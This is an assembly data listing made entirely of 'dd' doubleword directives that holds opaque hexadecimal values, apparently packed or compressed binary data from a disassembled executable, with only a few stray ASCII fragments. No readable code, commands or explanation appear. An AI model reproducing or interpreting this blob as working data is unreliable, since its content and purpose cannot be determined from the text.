		dd 0C24E04h, 613903B3h,	0F7A76726h, 0D0601600h,	4969474Dh
		dd 6E7700DBh, 0D16A4A3Eh, 5A00DCAEh, 0B66D9D6h,	0FF040DFh
		dd 5337D83Bh, 0C5A9BCC0h, 0DE00BB9Eh, 47B2CF7Fh, 0EB5FFE9h
		dd 0BDF21C30h, 0BAC28A21h, 0B393E4CAh, 0A3A65300h, 360524B4h
		dd 6ECFBD0h, 29CD00D7h,	0BF54DE57h, 2300D967h, 0B3667A2Eh
		dd 614AB8h, 681B02C4h, 6F2B945Dh, 0BE372A00h, 8EA1B40Bh
		dd 0C37F0Ch, 8D5A05DFh,	2E2D02EFh, 48000BAh, 541C4547h
		dd 489D2F20h, 3503B7Bh,	0D302E31h, 736FD00Ah, 203A1D74h
		dd 41147125h, 0F468E575h, 7A3B6972h, 6EEEF461h,	654E26C4h
		dd 0DD14C486h, 0D61DEA1Ah, 1C447004h, 7C271C7h,	0A7553F8Ch
		dd 0FF84C501h, 0CFF225Ch, 8D3F70F5h, 0C4105094h, 3462BF24h
		dd 2472C43Bh, 8C5C8030h, 40AC69F0h, 10460886h, 1862C015h
		dd 3A805198h, 0D4111CAh, 83126F07h, 0F04517CAh,	0E2AA8831h
		dd 9BE2E99h, 4C47C45Fh,	74424F3Eh, 457D48F0h, 5375507Dh
		dd 5443DCFBh, 9FE144F4h, 565E4D31h, 482352DFh, 306143Eh
		dd 6DD0137h, 2FA1003h, 456404EEh, 35210502h, 3C24430h
		dd 38282021h, 80758C0h,	307137E0h, 0B8F15779h, 17A3FC21h
		dd 0CB6860A9h, 70120367h, 0FF037816h, 3C6E45B8h, 0CD0F37FEh
		dd 70F0705h, 76E0728h, 56C0675h, 3FAA2953h, 0FBFBFE28h
		dd 795F171Eh, 2C310972h, 720D66C8h, 39707865h, 506F6DE0h
		dd 3F5F2464h, 7CC87968h, 61631160h, 21D67362h, 99208310h
		dd 5016663Fh, 10C41784h, 0B1866F6Ch, 65631B11h,	111BBE69h
		dd 0E3A86174h, 0FF36726Fh, 711F10BBh, 6514E872h, 34322B61h
		dd 42105A08h, 4BDA3C2Fh, 46683419h, 88B2F08h, 86082F45h
		dd 303167B6h, 77898111h, 0D5FD56C3h, 17EC080h, 80894150h
		dd 0F0477220h, 28737C49h, 0ED816F72h, 468A87DEh, 0A375CA6Ch
		dd 1C206FCBh, 27D6E4Ah,	4E52454Bh, 32336540h, 2B6535A0h
		dd 15E53071h, 2964A820h, 0DC169042h, 0A0102909h, 2AEA2908h
		dd 11C81910h, 1808A2D2h, 102D1A33h, 2828A51Eh, 8519CE7Ch
		dd 4DA13895h, 0CD39182Eh, 1C083D11h, 448EA318h,	18D0938Fh
		dd 2006B4BDh, 742033B8h, 332CA4BCh, 7010346Ch, 75720914h
		dd 6D6913B3h, 0D1BCED1Ch, 50B6F3CFh, 3842544Ch,	480ED253h
		dd 4945DFFCh, 0F2D474Eh, 504F44C0h, 0A54EFC4Dh,	36520112h
		dd 8D383230h, 90202D12h, 1E6C9E43h, 0A46F7490h,	4159394Ah
		dd 0CE52B07Ch, 147E681Ch, 28903870h, 6E123721h,	0F7CE21Bh
		dd 6867750Ah, 86707364h, 666A4896h, 770A76F1h, 665A3969h
		dd 3938858Bh, 0C4C2B4C6h, 9038B564h, 2E708935h,	6976A49Bh
		dd 448D16C7h, 51A668A0h, 0B6E72463h, 52A1FD1Ah,	60349428h
		dd 56D25FFCh, 2FBA0519h, 8207B2A0h, 38E312DDh, 0AF393160h
		dd 703B39F8h, 2164B3EDh, 0BB21A413h, 2CCAE837h,	25193859h
		dd 828ECE53h, 1A1A64C9h, 248158B4h, 6D2C1F37h, 0B0AD2033h
		dd 61C0819Dh, 2B2218A8h, 0CA306B63h, 3586DC18h,	0B4FE35E5h
		dd 0A318065Fh, 926D7244h, 82706701h, 0B6DE9F67h, 21FF9642h
		dd 71305E37h, 0F6503953h, 2642AB22h, 0B4E06D56h, 382C485Eh
		dd 0FACFF1D6h, 73298475h, 6151608Ah, 0B5D62C04h, 676E28DFh
		dd 0CBCF183h, 25A83BD5h, 8058E527h, 0D42E904Dh,	66333AC2h
		dd 79D7562Ch, 2B43AB10h, 3752EDE3h, 0A84C3A9Dh,	79E4B562h
		dd 0A30A28A1h, 4512175Dh, 2B210F23h, 0CD55024h,	2E41203Ah
		dd 3C1402DCh, 0E11BA4E6h, 6B5A344Dh, 336AA1DAh,	45ED8408h
		dd 4709F10Ch, 4C746517h, 4113101Dh, 0A76134Bh, 7516BFBFh
		dd 1928EF5Ah, 0A6425710h, 4D04E964h, 7E61E364h,	58427B67h
		dd 3107FB78h, 6E4E5123h, 0C311345Ch, 22854602h,	53194408h
		dd 7DAC1851h
		dd 60E2A88Ch, 0F688D508h, 0B4F88162h, 1021C221h, 8C666332h
		dd 0D276AC64h, 0BA6964AAh, 790D2672h, 4C8522FBh, 407E3158h
		dd 2C48625Bh, 201A8A14h, 968C5743h, 88E01227h, 64A541C4h
		dd 0C111B80Ch, 2B5D638Ah, 28DA5508h, 7B784883h,	0B246702Ah
		dd 6D730BD0h, 0B59E01E0h, 20090360h, 0BB199305h, 67384208h
		dd 0C6483C07h, 0B95311B5h, 69AD100Ch, 1046B13Ah, 0E306A0Ah
		dd 43DAE409h, 0C6844BBh, 4231FCC6h, 0A678F201h,	960860F4h
		dd 9502D10Eh, 0B4149009h, 299C400Ch, 10DB651Ch,	22482B02h
		dd 0C44C85C0h, 0FAD84803h, 29E84406h, 0B14C3C53h, 841B7E0Ch
		dd 3797E24h, 293C3444h,	0E2F85360h, 0A430B658h,	14705604h
		dd 78143CD0h, 18A9707Eh, 0A98F9C30h, 14A81464h,	288ACD4h
		dd 0F148F09Ah, 8C10D2CCh, 1CA46A90h, 30108868h,	0DC7F08EFh
		dd 0BC21B447h, 14850E4h, 423C609Eh, 42F42AB4h, 290490B8h
		dd 8E586878h, 774043DAh, 288160A6h, 0D1904F88h,	0CC6843ECh
		dd 981A090Ch, 681491CCh, 111C711Ch, 0F1196218h,	82880BDBh
		dd 0E4330391h, 929C8D9h, 688F74ACh, 80899161h, 4FECCCB1h
		dd 80427898h, 0FE2408E4h, 0C40F4479h, 68386B10h, 4014E985h
		dd 0DE44A885h, 1E808C71h, 95DC772Bh, 22CAA8A8h,	0BC85960h
		dd 40A102C8h, 3160BAC2h, 830810ECh, 6328AE02h, 71C4196Eh
		dd 81440814h, 8B82A114h, 2070199Ah, 405D0117h, 53524556h
		dd 4E4F4903h, 8F6C642Eh, 73FF5508h, 0
		dd 0C3000000h, 40120503h, 88DB3C81h, 23F0EC08h,	0DA320701h
		dd 0B0D0141h, 0DF3EC142h, 4F620810h, 0E3140146h, 73A10C41h
		dd 1460E4Fh, 80060230h,	42549170h, 189A008h, 6372104Ch
		dd 1B581262h, 0C8B0810h, 3307E410h, 32D15945h, 0C7530111h
		dd 414088Eh, 0A242EA2h,	6310044Ah, 538B4F44h, 62614084h
		dd 665736Fh, 7620376Ch,	637B1834h, 849BEAF9h, 74721200h
		dd 642E3169h, 7B32F46Eh, 1C98EF67h, 4623286Dh, 4B754171h
		dd 256139CEh, 242E2E64h, 6E6977C3h, 721FBAC6h, 0BB7A6376h
		dd 7110D278h, 623A747Ch, 57196661h, 776F0639h, 40532073h
		dd 0EC66373h, 0E0346741h, 0FC24A42Dh, 0AEA0E579h, 782D1F25h
		dd 0A90A92Bh, 50046623h, 0F8A199C8h, 880991A8h,	48446822h
		dd 666F0053h, 72617774h, 4D1D5C65h, 0CFA86369h,	5FA91DDEh
		dd 75430DBCh, 0B69B3072h, 69E1CC56h, 52FBE36Fh,	0FA0CDFFh
		dd 0A14FA430h, 43A37576h, 4C4FA038h, 5931CE45h,	4DEA544Eh
		dd 70FBCE3Ch, 6C6D3CA6h, 0B0D3C70h, 12214CE1h, 8E8C47C2h
		dd 70237468h, 778B2F3Ah, 662E021Bh, 668E8F64h, 48F87462h
		dd 2F80446Eh, 7376787Ah, 0B9E7CFEBh, 6292040Fh,	0E0A63835h
		dd 18440928h, 1104890Ch, 0F40298FCh, 0E048EC24h, 0D022D891h
		dd 89BCC844h, 24AC12B4h, 919C48A0h, 80902294h, 53DB8801h
		dd 8CF25443h, 74488024h, 60226C91h, 89545844h, 244C1250h
		dd 91444848h, 6434223Ch, 4824092Ch, 700C9118h, 8197F888h
		dd 24E812F0h, 91D848E0h, 339842D0h, 22C011C8h, 0B044B809h
		dd 0AC118AA4h, 94119F9Ch, 8C19D42Bh, 9918411h, 4474227Ch
		dd 60896C70h, 48245412h, 34914048h, 28442C22h, 12148920h
		dd 4404240Ch, 0F40896FCh, 0E422EC91h, 89DCE044h, 24D412D8h
		dd 91CC48D0h, 44C022C8h, 0A889B0B8h, 9824A012h,	90919448h
		dd 91148829h, 447C2280h, 68897074h, 58246012h, 6454504Ah
		dd 91404848h, 442C2238h, 0C891820h, 0FC220412h,	9F40695h
		dd 89ECF044h, 24DC12E4h, 91C848D4h, 33B852B8h, 22A811B0h
		dd 8C449C09h, 12708984h, 46CC2A6Ch, 60641164h, 48485C09h
		dd 0E8523C91h, 30113833h, 44280922h, 14891820h,	8240C12h
		dd 0F820225Ch, 0E8F04494h, 0DC12E089h, 0D0475C2Ah, 4D489CC9h
		dd 10CC30F4h, 0C69A6909h, 65756174h, 0B86C10A1h, 0EE6D3E12h
		dd 0AC631624h, 8F73FB70h, 692B6206h, 118E216Bh,	522A5636h
		dd 3F76748h, 187A7078h,	694C6BF8h, 19688DFDh, 58655330h
		dd 0DD76216Dh, 7170F341h, 7964202Eh, 6362702Ch,	34EEA69h
		dd 376D6268h, 0F7BB7288h, 3B1A5A74h, 605071BBh,	2212A56Fh
		dd 4E62E114h, 31626401h, 56343332h, 616F0808h, 6552F93Ch
		dd 7F772D43h, 1451D182h, 7A1C1168h, 26B4102Fh, 100C26A4h
		dd 65E263EAh, 8402B084h, 0A32085DAh, 220CA310h,	0DCB48BC8h
		dd 0ACBC2B5Eh, 0BC5236FCh, 0E908786Fh, 62201875h, 6763EE69h
		dd 0FE661168h, 6D116BEEh, 1E431E36h, 1C58BD67h,	92756BD2h
		dd 0C9747E08h, 2A0F6E28h, 9A6541D4h, 26636467h,	0D4C5110Ch
		dd 300A7972h, 3228BC6Bh, 408B0884h, 7978C41h, 7ADADE4Ah
		dd 0A0683899h, 25FD3812h, 0BA9F4794h, 33BE6E90h, 2E286242h
		dd 73394861h, 6C085375h, 0DE6D1428h, 486B1538h,	0A0E4703Fh
		dd 6F6A4272h, 29C84668h, 2018696Dh, 0B2D48CBCh,	0DB44A695h
		dd 0BCA72E40h, 0CBF16246h, 5777181h, 83EE9D86h,	0EB367CAAh
		dd 35FC44EAh, 0CD023032h, 510C26D4h, 320808EFh,	39116B46h
		dd 595C9738h, 456D9632h, 1019B4C6h, 841829Ah, 309ACC2h
		dd 0F5F3FB68h, 9C280C39h, 6C7A9894h, 6770BC75h,	92D20CAEh
		dd 93529066h, 3745AE90h, 37A0EA08h, 3F0EF93Ah, 9CAA6BA9h
		dd 89B0C808h, 46227472h, 386E756Eh, 5E761ECAh, 745D0625h
		dd 9626E1EFh, 6C316842h, 0B77875A2h, 0F09EC011h, 6F30648Ch
		dd 95DBFF84h, 73622059h, 0F14A6C54h, 33640834h,	31E4B877h
		dd 1049A877h, 1F36359Ah, 0E9393837h, 0E7106E0Ch, 81B7208h
		dd 0CE086784h, 84099B11h, 0AC61191Bh, 64777050h, 20C465C2h
		dd 91288C08h, 93AEAAAEh, 0C80C48FCh, 4DF63D3Ch,	322CE86Dh
		dd 0C4634458h, 0E2F4891Ch, 0ECA314C5h, 23A4661Fh, 6775DF20h
		dd 50ABE5ACh, 90E0674Dh, 686864F8h, 6A323596h, 0A5E64E75h
		dd 69A1A50Ah, 3675C091h, 0F3EB7043h, 531C8DECh,	0E18E66DBh
		dd 8893D8Ch, 6EEB1D73h,	0C74FE3Ch, 69EC1DE5h, 230DC91Ch
		dd 452C0F9Ah, 5249F810h, 76204301h, 31322E36h, 0AF214BD9h
		dd 0EA64BE03h, 11AC24Dh, 422D6DBDh, 9CC279EDh, 0E1304720h
		dd 0DC1F3731h, 402AF0E1h, 0DD9C92A6h, 34032D40h, 622F702h
		dd 0E0E3F374h, 0F9614620h, 0A71E2F44h, 6890F8AAh, 3F5E36F3h
		dd 10086A2Ch, 833ABF3Fh, 3E64253Ch, 346C852Eh, 0BF24AB53h
		dd 33668E59h, 5CE6D25Fh, 5850B33Dh, 315A3874h, 982C33A9h
		dd 73637A70h, 41C05FA5h, 7F462F56h, 9F6B5957h, 14F6836Fh
		dd 642998F6h, 403A726Ch, 194B3011h, 42C6C444h, 2446D0F2h
		dd 9C62496h, 0B7084223h, 0A265455Dh, 257D70ABh,	0B792B9FFh
		dd 0C3A0E22h, 28065C1Ah, 0B80714h, 312C3803h, 6972562Dh
		dd 0D1C26C58h, 0A0460343h, 753A6C9Ch, 4349184Eh, 0A0D154Bh
		dd 4553550Dh, 30F11352h, 113A0594h, 41503861h, 61BC653h
		dd 444F4D89h, 0F8C3F45h, 482F41E1h, 5954D54Fh, 24640A11h
		dd 3A944D55h, 710F5C2Bh, 4381D5D5h, 0BB50C920h,	0B7A4CCDEh
		dd 21C0A570h, 9D2A4420h, 646613Eh, 0A89048E0h, 7962E8F1h
		dd 0A228A0CCh, 2906CA21h, 4F4E852Ch, 8EB61054h,	8483AC5h
		dd 66454125h, 28643624h, 0B9549510h, 54475A32h,	8CE259F2h
		dd 0D47476A5h, 869E1067h, 0EA58646Dh, 0CE3B0462h, 0CA2CB143h
		dd 80E85150h, 0D87E565Eh, 0A06152C4h, 2CEF6D4Ah, 5D6B3E39h
		dd 528290BEh, 4252A2A0h, 44A2B29Dh, 0C706E962h,	641342E5h
		dd 6D472895h, 4E59203Ah, 0EB52654Ah, 4427D266h,	0C66827E7h
		dd 0D1726F4Ah, 1065263Ch, 6923656Ch, 5B74D9A8h,	7D249320h
		dd 0C577D40Ah, 4CC03A49h, 0DDE3FDDAh, 0F648029Ah, 34F47492h
		dd 232C792Bh, 24AF7BE8h, 0CE6F4E42h, 81278608h,	4F2C66F0h
		dd 282E5777h, 70E4538Ch, 4688F6E3h, 9928C451h, 0C846E7E1h
		dd 663498DCh, 22784969h, 5048E8F7h, 1DD47313h, 0C8434E0Dh
		dd 4C6E64E4h, 0AA690627h, 0F664022Dh, 2487B34Ch, 2D2D469Ah
		dd 0D04BEC20h, 2F347596h, 0BD44418Ah, 0D066D3B6h, 0FA733D95h
		dd 0FA3260D2h, 6AC7E26Eh, 4E281EF4h, 7520054Ch,	0F55B8D70h
		dd 5827273Eh, 7679E538h, 0FA65DE71h, 8DF6A871h,	94C6B01Dh
		dd 9430879Ch, 62961C50h, 0DC96649Ah, 85725085h,	302A44FFh
		dd 23915046h, 3D522491h, 0ED442340h, 0A45710A4h, 0E01A5A91h
		dd 0BC9A09C2h, 4630448Ch, 2C976593h, 0A72E482Ch, 0C44C9240h
		dd 76CC6860h, 749A20DCh, 6974E532h, 0ED72194h, 4046723Eh
		dd 4C5255C2h, 0EE207C6Dh, 9D637224h, 0B9EC5ECFh, 0ABBA87A6h
		dd 6CE71C74h, 9ADF2D9Dh, 8E216C6Fh, 6D631454h, 73B23B64h
		dd 18A12845h, 90874594h, 0BEB17E51h, 3CFFB122h,	235A55B0h
		dd 0E8DD4A53h, 0BC90EC36h, 74D67C48h, 2EFE6463h, 0D8554B20h
		dd 0B058585Eh, 0A16B6E55h, 20F7779Ch, 741364BAh, 50357079h
		dd 0D758272Ah, 24568791h, 1C414EB3h, 6BC130C5h,	1A796525h
		dd 0E5905102h, 101C596Eh
		dd 383AB44Bh, 0B4411B0Fh, 249C7D45h, 0A32224E8h, 337A76FEh
		dd 67DE306Ah, 4728C325h, 40D04791h, 47A2D4D1h, 592C689h
		dd 5C5191BAh, 628305C9h, 9DBEE910h, 725A785Dh, 0C72A3387h
		dd 436D33B9h, 2CB2485Dh, 40299045h, 69B50452h, 0B707E4A1h
		dd 703A6517h, 1D142FAh,	67736DA4h, 1C7C1844h, 0A15D9941h
		dd 6867691Bh, 6C637985h, 4150DC60h, 5C249C52h, 4A934D49h
		dd 602D056Dh, 4445509Ah, 46B86C1Ah, 9463B8F1h, 28299455h
		dd 50F41CD0h, 34A41D47h, 28246944h, 0A024900Bh,	4E494F4Ah
		dd 18C8364Eh, 0A4E8CC96h, 414C9AEBh, 33CD6715h,	66A35163h
		dd 0BDDEA469h, 683CA14Ch, 4C57242Ch, 50D266D5h,	0DC5CC88Eh
		dd 0D275A5A7h, 699F69E3h, 54D93CE8h, 0C3E20B49h, 7050B53Bh
		dd 7128CA6Dh, 0B32E2950h, 5270662Ch, 925B29Bh, 0C41C8911h
		dd 4F3C919Fh, 0B348C477h, 3410A494h, 0CA64A918h, 29795A61h
		dd 3A03127Ch, 750B98E7h, 0A9A6C270h, 3BAAE681h,	6D934449h
		dd 62A64975h, 1CA7AF08h, 0B1D46866h, 69E22038h,	75D1F961h
		dd 0BB5714ADh, 482E145Fh, 97274AA9h, 8F6E97C2h,	2A3F52C3h
		dd 4C593C40h, 62123D61h, 0D768921h, 2562042Ch, 5A2A1952h
		dd 5AB9376Dh, 0E3B62853h, 17973845h, 47C12B63h,	0B599D21Ch
		dd 50BA1107h, 2E4A9E22h, 0D06AEC76h, 0DBEDB61Fh, 0F9900CEEh
		dd 3CC8B48Dh, 2C555371h, 7F2DD729h, 394EB2D5h, 292C0D74h
		dd 0B212A524h, 6BB33ED4h, 30747D4Bh, 70506D0Eh,	6E264924h
		dd 0A63E0276h, 0D6536D64h, 95A2A560h, 154A9B67h, 308AA0F0h
		dd 0AD47DA38h, 9B381ED2h, 7611AD12h, 0E4156229h, 967DB4CBh
		dd 1A8274CDh, 3C687C6Fh, 0BF4C4351h, 0ACA1BE64h, 6048B69Bh
		dd 0C6DDEED3h, 0EF58384Eh, 0D0D66F3Dh, 1A381DE9h, 2CF849D0h
		dd 0FE7EE829h, 0E466FB79h, 6771A1EDh, 7730897Ch, 0D06B1C95h
		dd 593847BAh, 3131ADB2h, 36188FEEh, 69B3EF25h, 37B8294Eh
		dd 0E4784256h, 0B27A72EDh, 49E48FE9h, 3327A09Fh, 3D974E89h
		dd 3A8AB690h, 3A634F08h, 4E1C46EBh, 4443EC7Fh, 50435482h
		dd 39EF38BBh, 14C533BAh, 7FA13624h, 40D815B5h, 40431D53h
		dd 0F364654Eh, 0DC63ECCAh, 8C7D4E25h, 6977352Fh, 252466F4h
		dd 6D4A28FEh, 365B784Ch, 0DA82AB5Dh, 8940EE3Eh,	1BA12A10h
		dd 41018010h, 4F495443h, 5BBD8F96h, 0D2BB4836h,	41313BB9h
		dd 904C5E74h, 0A53BE43Ch, 0D4F4A242h, 6BFE0916h, 39727411h
		dd 2D2D658Ah, 0F069EF24h, 39A4870Fh, 86E0A338h,	55D3433Fh
		dd 61A22D92h, 6F34536Eh, 6D8BF366h, 1EDA7C48h, 75416DD8h
		dd 8A977C22h, 90F048CDh, 2C25ABA0h, 0E006E08Bh,	70631850h
		dd 946669A8h, 344261B8h, 614149B9h, 735E712Ah, 85585219h
		dd 0BFCC7466h, 9F32ED55h, 26872997h, 95665A21h,	0DA30855Eh
		dd 2849280Dh, 0D32D8F6Fh, 5E7C318Dh, 398D9493h,	0A2113A04h
		dd 79620914h, 61A6E965h, 65D85EE2h, 2E020369h, 698D6C64h
		dd 92867C70h, 17A8D7C4h, 0AA3977D3h, 0DAFC6885h, 259DA2D3h
		dd 0DBB8F729h, 62A6FB2Dh, 3E032C14h, 79F109CBh,	84963A34h
		dd 0B7700B4Fh, 6B3868C4h, 0C6B9D8CAh, 421F6B70h, 0DC2D7496h
		dd 105650E1h, 7A6924A0h, 448D4C24h, 48C842B3h, 0D6676E46h
		dd 4D673288h, 613E1C78h, 97CBCB67h, 7581336Ch, 660211B7h
		dd 0E1796CDCh, 0B890344Ah, 0E28225F6h, 0B23A4312h, 1169B124h
		dd 224EF334h, 659C5316h, 58345C35h, 6B26B2BCh, 69D84BC1h
		dd 5A78393Fh, 95DA868Dh, 48EC216Ch, 66F86A65h, 1A9D1B69h
		dd 96CF4E70h, 1DB79Eh, 504D4349h, 9927CB91h, 0A7557690h
		dd 0D037DEB5h, 0D0B5536Bh, 75CA38E8h, 811147D3h, 91FD2E3Eh
		dd 9F125272h, 74297DD4h, 9E637450h, 3821D527h, 5AD44DCBh
		dd 48D13812h, 0F6CA6692h, 7C544EB2h, 347053C3h,	6FD46656h
		dd 707910B4h, 4B70B59h,	968AEC72h, 0E06B94B4h, 2FA3DC68h
		dd 17D3D4ECh, 0AA6DE4CCh, 246E4DBEh, 32F36965h,	0C63CE4ADh
		dd 8A722418h, 0ACC259Dh, 3A992D12h, 0F50AEC74h,	2D108644h
		dd 0ACA5D60Eh, 62A060D6h, 0D981A26Ah, 774B3E44h, 2E079C64h
		dd 6E65C1FDh, 0BC50F164h, 40B44304h, 4E315664h,	54484C43h
		dd 7CD650C5h, 0A6B34FE3h, 45542E42h, 2F64FE52h,	0F516DAAEh
		dd 62DED2B4h, 41480848h, 4E4B5ACFh, 0D308B098h,	98C5A21h
		dd 18B16014h, 0E4760832h, 0C70DB05h, 4140B784h,	0E25FF91Ch
		dd 516A0489h, 6D701018h, 1B9508A6h, 67196E10h, 0B5963015h
		dd 0D04C2DB6h, 414E0210h, 0DE4C455Ah, 5C282762h, 15BD6898h
		dd 89930C74h, 0CF79E9DCh, 6453F997h, 0CE79D376h, 2C26A41Bh
		dd 42058370h, 88D3FC09h, 734D69F8h, 13282404h, 0AB892995h
		dd 8B7A3C42h, 105E185Ah, 0CE851A6h, 388DDFBDh, 7E550C14h
		dd 466C2F38h, 0B80CB689h, 8D420853h, 5676929Eh,	0ADB0C93Ch
		dd 0F381CA10h, 8228A000h, 385FF305h, 44414803h,	33AB5445h
		dd 642BB069h, 7239C538h, 0D43C1770h, 7340939Eh,	1899D64Ah
		dd 957C10AAh, 0B49A8C1Ah, 0A0D40408h, 0D26A450Ch, 0C20F87Eh
		dd 0C18914EBh, 296D0C02h, 0C81277Ah, 0D10A1472h, 0BC489C77h
		dd 41D7945h, 0CAAF91A9h, 24164591h, 0A561510Ah,	6B3CC22Bh
		dd 0DCB2D471h, 9E96B3Ch, 2E97FFD0h, 1A684ED1h, 6B825C08h
		dd 537428BAh, 273A7579h, 392E959Fh, 72D7311Ch, 0B479933Bh
		dd 0F1AECFBh, 0AE9D2C1Ch, 4BF0BB21h, 1F847DBAh,	199C4E20h
		dd 936CA764h, 72970F53h, 3AE44155h, 0D0414220h,	7019908Ch
		dd 9C286695h, 94C62FA8h, 0FE84615Fh, 0CD2B406Dh, 43621A7Ah
		dd 6239E420h, 4C468323h, 2AA03992h, 0BAD7F324h,	33EE026Bh
		dd 243E5932h, 774DB4F6h, 0F8134B10h, 6C6F8926h,	5CED6B64h
		dd 0A5970890h, 0D83D6FF4h, 0E826735Dh, 1B539D5Ah, 0C4D84F20h
		dd 5A99B573h, 6B28E52Eh, 171D5B3Dh, 0BD58BEEAh,	0FEEE641Fh
		dd 2C8574A1h, 686D6527h, 5328AC1Ch, 9168BCD4h, 86B5D3E1h
		dd 0ED1F120Dh, 29D02C46h, 0D1F22AE4h, 0F12BB43Ch, 0DA4A7142h
		dd 7853CAECh, 0A19B5BD2h, 0F84DAF37h, 0F96868A1h, 9C1C8656h
		dd 0A30D6800h, 874394F7h, 0EA761C66h, 0A9E26548h, 852CB6C2h
		dd 5EE72929h, 0F7A13C8Dh, 0E87887F6h, 308DD4FDh, 0C672F429h
		dd 28208B8Ch, 0D7047210h, 63402840h, 0FF046D51h, 4AB0AD85h
		dd 106828E3h, 19761A10h, 114DF8D4h, 4047D31h, 672033ABh
		dd 415C0D5Ch, 628A3504h, 93CC59C8h, 92704832h, 22A0740Ch
		dd 6E64284Ch, 0B1737004h, 996F17F5h, 280863C4h,	0ABB70472h
		dd 5B4C925Eh, 2C322740h, 0D710C25h, 9FA7504h, 39265950h
		dd 70773694h, 496A6529h, 414C8A6Eh, 87C42BAFh, 648A9FACh
		dd 0F2472FA3h, 6DEDC625h, 458022Eh, 2A5AC957h, 0C767CD0Ah
		dd 5FA914B4h, 0E2930F91h, 495201E0h, 47534D56h,	42A2293Eh
		dd 149E7808h, 0AB660136h, 2C5EEF56h, 0AC760113h, 182BDE47h
		dd 4169CBC9h, 0D5CB8D2Bh, 0E2E43CFDh, 0CF125A9Ch, 979248ECh
		dd 4A688720h, 0E8FF68FAh, 4344D048h, 45E1E7E3h,	1C48DF4Eh
		dd 466F495Ah, 6F704103h, 0A425141Ch, 0BBB32FAAh, 3BA8DD5Fh
		dd 1A69AC49h, 9511A68h,	0A0525B1Fh, 0E858960Ch,	3F146E18h
		dd 21684CD1h, 690CA408h, 3832EE42h, 0B8A1FA51h,	0FC7BC848h
		dd 0B091E8B2h, 24990A9Ah, 40185B63h, 74A15F2Dh,	4DB8266Dh
		dd 9E354ECDh, 0AF56D2A6h, 0A992BA5Ch, 5F34D17Ah, 85029E36h
		dd 6EA632B4h, 5F3C54F9h
		dd 0DC2EDEDCh, 1024F422h, 0F8F41418h, 0E1F1B58Ch, 43FE3B6Fh
		dd 80DE4B1Bh, 0FDB540D0h, 91F696EFh, 5C8D5B4Ah,	5988E9A7h
		dd 0CE6724ABh, 0CFD32C14h, 7BBC753Ch, 0D93E92A7h, 73642585h
		dd 2824655Eh, 7DE470F8h, 0AD1C042Ch, 6E611268h,	39416BE7h
		dd 722D4338h, 0A92F744h, 2A700384h, 0A8686CADh,	2B3A4EADh
		dd 6976796Ch, 9EBF74C4h, 976686A8h, 58DB9EC4h, 175A770Eh
		dd 0E2626D75h, 30DF5B5Dh, 0B54B345Ch, 0BBCB2AC5h, 33141955h
		dd 0DF5A2C2Bh, 0C3502D10h, 506BC64Fh, 79569142h, 0E2555049h
		dd 0C57AF626h, 45215822h, 86562E06h, 52F6B4CDh,	0DBA621E9h
		dd 2128242Ah, 2D324054h, 9FFA485Ch, 0A6A44BFFh,	0CF909629h
		dd 8F5ADCF5h, 4F1A903Eh, 3C91389Eh, 994AA0D0h, 55B80CA7h
		dd 781A6E55h, 0A538A2Ah, 624534E8h, 2D7F74B1h, 0E9B72CD0h
		dd 0FE9946Dh, 2F294E40h, 0ECF4742Fh, 0A062A447h, 0BDB0EB6Fh
		dd 3C91696Ah, 5A656AA4h, 697044DEh, 84791946h, 2CFCEF2Fh
		dd 0AFFB6B8Ch, 57003A25h, 0A8B0601Dh, 58495551h, 7229E654h
		dd 0A0D6214h, 0E7F20CF4h, 0A118A99Fh, 23B72E34h, 44186835h
		dd 423AB96Ch, 4ABDD010h, 53CAB0F6h, 2F4C39D9h, 0DCE43A2Fh
		dd 442E792Fh, 9E555943h, 56D5D65Ah, 79EB8893h, 3871A560h
		dd 54EFFCF2h, 4F10AFFFh, 523C68C4h, 0DB6B2955h,	0C7504978h
		dd 203815BFh, 9A788C51h, 0C8748736h, 8B5A7FFh, 706471B4h
		dd 2E1F2819h, 12939466h, 4C7DF2CEh, 0D3663BC8h,	9A538918h
		dd 0B6171ADDh, 6F6D14BCh, 19544876h, 0D0C7952Eh, 0A5579AE8h
		dd 45722C71h, 0E83CB42Eh, 5EE1796Ch, 0A24A24h, 5E9839E4h
		dd 10B34AC1h, 0FF565289h, 4149ED73h, 0F2485C2Eh, 95869E57h
		dd 48212D6Fh, 8B4B61F1h, 0B418A992h, 70BE42ABh,	8B756F62h
		dd 0C8447931h, 0BD206412h, 0F3A769B6h, 756C8D64h, 7D8205AAh
		dd 7161443h, 0D45052F3h, 674AEE63h, 8E542C2Eh, 0BC2C841Ch
		dd 725023DCh, 2D35D9F1h, 0C778C9E1h, 8AA7C90h, 0D6534E44h
		dd 0BC7C39D0h, 4F079672h, 0D1816AD7h, 819DB53Ch, 0BE7A0C22h
		dd 5049E1ABh, 72747B3Ah, 0D45E7BA9h, 0C02DAF84h, 6460493Ah
		dd 3AF2604Dh, 93763D3Ch, 6582A244h, 120A797Eh, 0E84F785Ch
		dd 3C22F766h, 0FBD26FB9h, 0BAEB3497h, 0AD2EB128h, 5E0CA634h
		dd 614D2080h, 0A0C55371h, 0E5BC4163h, 0A58ACE5Ah, 37B7FCC9h
		dd 1BD1FB1Ch, 2D3C8FFEh, 0A0F498C7h, 9E757127h,	0F4691392h
		dd 0B29F5298h, 1A10D164h, 7BD6F65Ah, 0CC1425D7h, 55B66A9Dh
		dd 3CE84C37h, 0DA4C54C9h, 0CA62BA7Dh, 8CC2D8C8h, 0F0CCB628h
		dd 0FBF94850h, 0CC4727E7h, 45634D0Eh, 974144AEh, 0D437C4DAh
		dd 201FDEF9h, 0DA686FAFh, 0C4213F47h, 0E923EE3Bh, 0E0B1F570h
		dd 0A0F5993Fh, 634B048Eh, 74DD0CB3h, 62794920h,	1776904Bh
		dd 13637928h, 2C2650D2h, 9F0884E8h, 0EC91E0CEh,	8C90EE27h
		dd 23789B14h, 2D162308h, 56D6785Ah, 85EA0699h, 0FC956635h
		dd 85950B3h, 0F7400C46h, 8614AE70h, 63672D0Ch, 0EFC42492h
		dd 96FC64B4h, 626109C0h, 2037B8D1h, 5D21151Eh, 0D94CA248h
		dd 0C1ED2554h, 0D6507225h, 3C1E8860h, 0ED264568h, 0E4DD3E12h
		dd 58732A0Dh, 2E307724h, 205C73BCh, 0BCA8F4BDh,	0C3D164C9h
		dd 1213EE39h, 0B4160B6h, 0F53F4FF7h, 0E011A1D0h, 690D48BCh
		dd 0D42C5809h, 2162D9BCh, 4897075h, 18566A4Ah, 9CA509B4h
		dd 4F4B3184h, 41C78353h, 443459B0h, 3BC8EBB5h, 32557909h
		dd 84194ED3h, 110C5430h, 94096734h, 9B32E829h, 0A21F7002h
